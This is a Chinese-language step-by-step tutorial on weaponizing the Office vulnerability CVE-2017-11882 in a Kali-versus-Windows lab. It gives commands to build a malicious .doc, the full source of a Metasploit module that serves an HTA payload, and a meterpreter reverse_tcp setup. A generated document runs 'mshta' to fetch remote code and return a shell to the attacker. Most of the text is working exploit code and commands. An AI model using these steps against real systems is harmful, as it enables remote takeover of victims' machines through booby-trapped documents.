office漏洞利用--获取shell
环境:
kali系统, windows系统
流程:
在kali系统生成利用文件, kali系统下监听本地端口, windows系统打开doc文件,即可中招
第一种利用方式, 适合测试用:
从git下载代码:
git clone https://github.com/Ridter/CVE-2017-11882
执行以下代码, 会在当前目录生成一个doc:
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
会生成一个test.doc文件, 如果有漏洞的电脑打开这个文件, 就会弹出一个计算器;
第二种利用方式, 反弹获得shell:
kali系统准备:
复制以下ruby代码到/usr/share/metasploit-framework/modules/exploits/windows/smb/cve_2017_11882.rb目录(要注意代码缩进哦):
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Office Payload Delivery', 'Description' => %q{ This module generates an command to place within a word document, that when executed, will retrieve a HTA payload via HTTP from an web server. Currently have not figured out how to generate a doc. }, 'License' => MSF_LICENSE, 'Arch' => ARCH_X86, 'Platform' => 'win', 'Targets' => [ ['Automatic', {} ], ], 'DefaultTarget' => 0, )) end def on_request_uri(cli, _request) print_status("Delivering payload") p = regenerate_payload(cli) data = Msf::Util::EXE.to_executable_fmt( framework, ARCH_X86, 'win', p.encoded, 'hta-psh', { :arch => ARCH_X86, :platform => 'win '} ) send_response(cli, data, 'Content-Type' => 'application/hta') end def primer url = get_uri print_status("Place the following DDE in an MS document:") print_line("mshta.exe \"#{url}\"") end end
在命令行启动msf的服务:
service postgresql start
再启动msf:
sudo msfconsole
重新加载所有模块:
reload_all
查找我们刚刚新建的cve_2017_11882模块:
search cve_2017_11882
加载这个模块:
use exploit/windows/smb/cve_2017_11882
使用反弹shellcode, 配置本机地址, 配置uri地址
set payload windows/meterpreter/reverse_tcp set lhost 192.168.0.105 set uripath aaaa exploit
生成漏洞利用文件test1.doc
实现使用ifconfig查到当前计算机IP,然后在clone下来的项目下执行以下命令, 当前系统下回生成一个test1.doc文件:
python Command109b_CVE-2017-11882.py -c "mshta http://192.168.0.108/aaaa" -o test1.doc
(注意,aaaa这个名字和msf的 uripath是一样的, 不能乱写)
把生成的test1.doc 放到window系统执行, msf就会返回一个shell
